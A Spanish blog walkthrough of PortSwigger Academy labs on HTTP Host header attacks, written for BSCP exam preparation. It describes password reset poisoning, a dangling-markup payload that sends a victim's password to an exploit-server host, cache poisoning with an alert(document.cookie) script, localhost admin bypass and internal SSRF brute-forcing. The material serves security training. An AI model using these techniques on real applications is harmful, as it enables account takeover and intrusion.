PortSwigger Academy - HTTP Host Header Attacks

¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.

Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.

En esta entrada explicaremos y solucionaremos todos los laboratorios relativos a HTTP Host Header Attacks. Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!

Esta vulnerabilidad es bastante prevalente en entornos reales. Cierto que normalmente el impacto es mínimo por no estar asociada a funcionalidades como las que veremos en estos laboratorios. Sin embargo, como decimos, la prevalencia de esta vulnerabilidad no es despreciable y puede darse el caso de que a través de ella logremos comprometer ciertos elementos de las aplicaciones bajo análisis.

Lab1 (Apprentice) – Basic password reset poisoning

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, log in to Carlos’s account.». En este laboratorio el objetivo es comprometer la cuenta del usuario «carlos».

Comenzamos mapeando la aplicación con el usuario «wiener:peter» y nos fijamos en la funcionalidad de recuperación de contraseñas. Si el usuario «wiener» tiene asociado el correo del «Exploit Server», veremos que a priori nos llega un correo con instrucciones para cambiar la contraseña:

Correo recibido al recuperar la contraseña

Como siguiente paso, lanzaremos la misma petición pero con la cabecera «Host» con valor del «Exploit Server», tal como sigue:

Ataque HTTP Host-Header para password reset

Recepción de correo con enlace malicioso

Como vemos, hemos envenenado el enlace del correo, de modo que ahora apunta al servidor atacante. Realizamos la misma petición ahora, con la cabecera «Host» manipulada pero usando el usuario «carlos» como objetivo. Le llegará un correo que apunta a nuestro servidor y dado que el usuario «carlos» hace click en el enlace, podemos observar en el log de acceso de nuestro servidor el token de reseteo de contraseña:

Envenenamiento de contraseña para usuario «carlos»

Obtención de token de reseteo de contraseña de «carlos»

Finalmente, accedemos al enlace indicado en la captura anterior pero en la URL original. Reseteamos la contraseña de «carlos» y, con ella, accedemos a su perfil para resolver el laboratorio.

Lab2 (Expert) – Password reset poisoning via dangling markup

Enlace de reseteo de contraseña de «wiener» original

Tal como podemos ver, el enlace de «Click here» es del subdominio original. Sin embargo, si visualizamos el correo en HTML, vemos que se genera el enlace y posteriormente se incluye la contraseña en texto plano:

Ahora, probaremos todas las variantes de HTTP Host-Header Attack y vemos que, a través del puerto, podemos controlar los datos que llegan al correo de la víctima:

Dado que el correo no es más que código HTML, procedemos a hacer un ataque de HTML Dangling Markup con el siguiente payload (lo que intentamos es que generemos un mensaje con el contenido HTML «colgando», de tal modo que el nuevo enlace de «Click here» apunte a nuestro dominio e incluya la contraseña porque precisamente «cuelga» al no estar cerrado correctamente el HTML. Fíjate en el siguiente payload que usaremos como puerto:

'<a href="//exploit-0a26006204b4e3de80c71b67010b0090.exploit-server.net/?

Como vemos, rompemos el HTML del correo. Asimismo, ahora el enlace apunta a nuestro servidor y, de hecho, podemos acceder a los logs de acceso y ver la nueva contraseña de «wiener» porque el escáner hizo click en el enlace. Seguimos el mismo proceso pero para el usuario «carlos» y visualizamos su contraseña:

Finalmente, con esa contraseña iniciamos sesión para resolver el laboratorio.

Lab3 (Practicioner) – Web cache poisoning via ambiguous requests

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, poison the cache so the home page executes alert(document.cookie) in the victim’s browser.». En este laboratorio el objetivo es ejecutar código en el navegador de la víctima a través de caché poisoning.

Comenzamos mapeando la raíz del sitio web y vemos cómo algunos scripts de recursos se cargan en función de la cabecera «Host» utilizada. Esto lo sabemos porque, al aplicar las técnicas que nos indica PortSwigger para detectar esta vulnerabilidad, observamos su reflejo. Además, podemos ver que se utiliza una caché en la aplicación.

HTTP Host-Header Attack + Cache Poisoning

Aquí podemos combinar ambos elementos para forzar a la víctima a ejecutar nuestro código. Para ello, basta simplemente con almacenar un recurso en nuestro «Exploit Server» con el siguiente payload:

alert(document.cookie)

Y, finalmente, envenenando la respuesta a través de la cabecera «Host» y envenenando por tanto la caché, obtenemos la resolución al laboratorio. Simplemente reenvía la petición inicial hasta que la víctima acceda a la web y se le sirva el script malicioso. Cambia eso sí la segunda cabecera «Host» por el valor de tu «Exploit Server».

HTTP Host-Header Attack con Web Cache Poisoning

Lab4 (Apprentice) – Host header authentication bypass

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, access the admin panel and delete the user carlos.». En este laboratorio el objetivo es ejecutar un ataque de cabecera Host para acceder al panel de administración.

Accedemos a la aplicación y lo primero que enumeramos es el directorio «/admin». Sin embargo, su acceso se encuentra restringido:

Capturamos la petición con Burp Suite Professional e intentamos bypassear el acceso mediante la cabecera «Host» o sus sucedáneas («X-Forwarded-Host», «X-Host»…). Como normalmente los paneles de administración suelen permitir accesos locales (127.0.0.1 o localhost, por ejemplo), incluiremos ese payload:

Bypass de autenticación en panel de administración

Tal como se puede ver, se obtiene acceso al panel de administración al hacer creer a la aplicación que estamos accediendo localmente. Para resolver el laboratorio y con la cabecera «Host» intacta, simplemente debemos acceder a la URL de borrado de «carlos»:

Lab5 (Practicioner) – Routing-based SSRF

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, access the internal admin panel located in the 192.168.0.0/24 range, then delete the user carlos.». En este laboratorio el objetivo es ejecutar un ataque de cabecera Host para acceder al panel de administración.

Accedemos a la aplicación y confirmamos que podemos hacer routing-based SSRF en función de la cabecera «Host», ya que al incluir un valor de Burp Collaborator para dicha cabecera, se recibe una petición desde un sistema que forma parte de la aplicación:

Dado que tenemos routing-based SSRF, procedemos a testear todos los sistemas internos. Usamos para ello Burp Intruder, intentando enumerar hosts activos en la red 192.168.0.0/24. Recuerda quitar el check de que haga match en la cabecera «Host»:

Y, como vemos, obtenemos que la dirección IP interna a la escucha es 192.168.0.220:

Obtención de host disponible en red interna

Finalmente, para resolver el laboratorio explotamos el routing-based SSRF, ejecutando las funciones en remoto:

Lab6 (Practicioner) – SSRF via flawed request parsing

Accedemos al laboratorio y mapeamos, en primer lugar, que la petición a la raíz del sitio web posee una cabecera «Host» pero, al ser modificada, la respuesta es siempre «Forbidden»:

Sin embargo, si incluimos la URL completa en la petición, es posible obtener respuesta y, en estos casos, la cabecera «Host» no se comprueba:

Bypass de la comprobación de cabecera «Host»

Así las cosas, lanzamos un ataque de Burp Intruder con el objetivo de intentar obtener un panel de administración en una de las IP internas. Usamos la ruta «/admin» y hacemos fuerza bruta a los hosts. Recuerda quitar la actualización de la cabecera automática (puedes ver cómo hacer fuerza bruta en el laboratorio anterior, sigue los mismos pasos).

Obtención de panel de administración en host interno

Y, finalmente, dado que sabemos que en este caso el host es 192.168.0.218, lanzamos el borrado de usuario «carlos» para resolver el laboratorio:

Lab7 (Practicioner) – Host validation bypass via connection state attack

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, exploit this behavior to access an internal admin panel located at 192.168.0.1/admin, then delete the user carlos.». En este laboratorio el objetivo es ejecutar un ataque de cabecera Host para acceder al panel de administración.

Comenzamos mapeando la petición a la raíz del sitio web y observamos cómo no es posible manipular la cabecera «Host» en una sola petición, ya que nos redirige al sitio principal:

Sin embargo, podemos duplicar esta petición y agrupar ambas en una misma conexión. Lo que haremos será utilizar la primera petición para abrir la conexión con la cabecera «Host» original y, posteriormente, la segunda petición para intentar acceder al panel de administración, con la esperanza de que el servidor solo valide la primera de las peticiones.

Para resolver el laboratorio, simplemente debemos cambiar la segunda petición por un POST para borrar el usuario «carlos» (se adjunta solamente la segunda petición):

Petición enviada para resolver el laboratorio

~km0xu95